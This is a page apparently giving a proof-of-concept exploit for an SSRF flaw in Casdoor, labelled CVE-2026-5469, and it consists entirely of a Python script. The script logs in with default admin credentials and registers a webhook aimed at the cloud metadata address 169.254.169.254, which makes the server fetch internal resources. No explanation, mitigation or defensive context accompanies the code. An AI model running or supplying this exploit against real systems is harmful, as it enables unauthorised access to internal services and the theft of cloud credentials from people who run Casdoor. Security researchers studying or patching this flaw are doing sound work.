CVE-2026-5469 Casdoor SSRF漏洞

import requests import json # Configuration target_host = "http://localhost:8000" username = "admin" password = "admin" malicious_url = "http://169.254.169.254/latest/meta-data/" # Example: Internal metadata access def login(): """Authenticate to obtain session token""" login_url = f"{target_host}/api/login" data = { "username": username, "password": password, "application": "app-built-in", "organization": "built-in" } response = requests.post(login_url, json=data) if response.status_code == 200: return response.json().get("data") else: print(f"Login failed: {response.text}") return None def exploit_ssrf(token): """Create a webhook with a malicious URL to trigger SSRF""" webhook_url = f"{target_host}/api/webhook" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Payload for the Webhook payload = { "owner": "built-in", "name": "ssrf-poc", "url": malicious_url, "method": "GET", "contentType": "application/json", "headers": "{}", "events": json.dumps(["signup"]), "isEnabled": True } response = requests.post(webhook_url, headers=headers, json=payload) if response.status_code == 200: print("[+] Webhook created successfully. SSRF payload sent.") print(f"[+] Check {malicious_url} for interaction or logs.") else: print(f"[-] Failed to create webhook. Status: {response.status_code}") print(response.text) if __name__ == "__main__": token = login() if token: exploit_ssrf(token)